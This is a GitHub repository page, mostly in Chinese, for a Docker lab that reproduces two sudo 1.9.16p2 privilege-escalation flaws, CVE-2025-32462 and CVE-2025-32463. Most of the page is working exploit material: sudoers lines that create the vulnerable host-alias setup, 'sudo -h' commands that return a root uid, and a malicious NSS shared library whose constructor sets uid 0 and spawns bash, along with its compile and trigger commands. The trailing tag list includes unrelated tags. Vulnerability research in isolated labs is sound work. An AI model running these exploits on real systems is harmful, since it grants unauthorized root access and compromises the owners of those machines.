yonathanpy/CVE-2025-32462-CVE-2025-32463-PoC-Lab

GitHub: yonathanpy/CVE-2025-32462-CVE-2025-32463-PoC-Lab

针对 sudo 1.9.16p2 版本两个高危漏洞的容器化 PoC 实验室,包含完整复现环境和利用代码。

Stars: 1 | Forks: 0

# CVE-2025-32462 & CVE-2025-32463 – 高级 PoC 实验室 本仓库提供了一个 **基于容器的实验室** 以及针对两个关键 sudo 漏洞的详细 PoC: - **CVE-2025-32462** – sudo `-h` 主机匹配逻辑绕过 - **CVE-2025-32463** – sudo `-R` chroot NSS 库逃逸 ## 研究与致谢 原作者 **Rich Mirch – Stratascale CRU** PoC 和实验室环境由 **MAAYTHM** 提供 ## 技术概述 ### CVE-2025-32462 – 主机验证逻辑绕过 Sudo 通过 `/etc/sudoers` 中的 `Host_Alias` 强制执行基于主机的授权。 该漏洞发生在提供 `-h` 选项时:sudo 会评估提供的主机名而非系统的规范主机名,从而允许受限用户绕过基于主机的 sudo 策略。 **影响:** - 基于主机的策略绕过 - 权限提升 - 未授权的 root 命令执行 ### CVE-2025-32463 – 通过 Chroot 进行 NSS 注入 Sudo 的 `-R` 选项允许在 chroot 环境中执行命令。在初始化期间,NSS (Name Service Switch) 库是基于 `/etc/nsswitch.conf` 加载的。通过提供一个恶意的 chroot 环境和自定义 NSS 库,攻击者可以以 root 身份执行代码。 **攻击面:** 1. 受控的 chroot 文件系统 2. 攻击者定义的 `nsswitch.conf` 3. 动态加载的自定义 NSS 共享库 4. 构造函数代码以提升后的权限执行 **影响:** - Root 权限提升 - chroot 上下文内的任意代码执行 ## 实验室环境 - **基础操作系统:** Ubuntu 24.04 - **受影响 sudo 版本:** 1.9.16p2 - **用户:** `pwn` (非 root) - **隔离:** 具有自定义网络的 Docker 容器 ## 仓库结构 ``` CVE-2025-32462-CVE-2025-32463-PoC-Lab ├── Dockerfile │ # Builds vulnerable sudo environment │ ├── exploit/ │ ├── cve_2025_32463.c │ │ # Malicious NSS shared library used for privilege escalation │ └── build.sh │ # Compiles the exploit payload into a shared NSS module │ ├── lab/ │ └── setup.sh │ # Automates vulnerable lab configuration and sudoers setup │ └── README.md # Technical documentation, vulnerability analysis, and PoC usage guide ``` # 完整技术分析、PoC 演示及漏洞利用指南 ## Docker 实验室设置 ``` FROM ubuntu:24.04 ENV DEBIAN_FRONTEND=noninteractive RUN apt-get update && \ apt-get install -y build-essential wget libpam0g-dev libselinux1-dev zlib1g-dev \ pkg-config libssl-dev git nano gcc && \ rm -rf /var/lib/apt/lists/* WORKDIR /opt RUN wget https://www.sudo.ws/dist/sudo-1.9.16p2.tar.gz && \ tar xzf sudo-1.9.16p2.tar.gz && \ cd sudo-1.9.16p2 && \ ./configure --disable-gcrypt --prefix=/usr && \ make && make install RUN useradd -m -s /bin/bash pwn && \ echo 'pwn:pwn' | chpasswd USER pwn WORKDIR /home/pwn CMD ["/bin/bash"] Build & Run Lab docker build -t sudo-vuln-lab . docker network create --subnet=172.190.0.0/16 sudolabnet docker run -d \ --network sudolabnet \ --ip 172.190.0.3 \ --hostname lowpriv.test.local \ --add-host highpriv.test.local:172.190.0.2 \ --name lowpriv \ sudo-vuln-lab tail -f /dev/null CVE-2025-32462 – Exploitation docker exec -u root -it lowpriv bash echo 'Host_Alias HIGH = highpriv.test.local' >> /etc/sudoers echo 'Host_Alias LOW = lowpriv.test.local' >> /etc/sudoers echo 'pwn HIGH,!LOW = NOPASSWD:ALL' >> /etc/sudoers Normal behavior: sudo id # 需要密码 Exploitation: sudo -h highpriv.test.local id # uid=0(root) gid=0(root) groups=0(root) sudo -h highpriv.test.local hostname -f # lowpriv.test.local CVE-2025-32463 – Exploitation mkdir -p exploitDir/etc echo 'passwd: /cve_2025_32463' > exploitDir/etc/nsswitch.conf mkdir libnss_ cp /etc/group exploitDir/etc/ Malicious NSS library: #include #include __attribute__((constructor)) void GIVEMEROOT(void) { setreuid(0,0); setregid(0,0); chdir("/"); execl("/bin/bash", "/bin/bash", NULL); } Compile: gcc -shared -fPIC -Wl,-init,GIVEMEROOT -o libnss_/cve_2025_32463.so.2 cve_2025_32463.c Trigger: sudo -R exploitDir # 已获取 Root shell id # uid=0(root) gid=0(root) ```
标签:Chroot逃逸, CSV导出, CVE-2025-32462, CVE-2025-32463, Docker, Host_Alias绕过, NSS注入, PoC, Privilege Escalation, Sudo漏洞, Web截图, Web报告查看器, 代码执行, 安全防御评估, 容器安全, 应用安全, 暴力破解, 本地提权, 漏洞复现, 网络安全, 请求拦截, 隐私保护, 黑客技术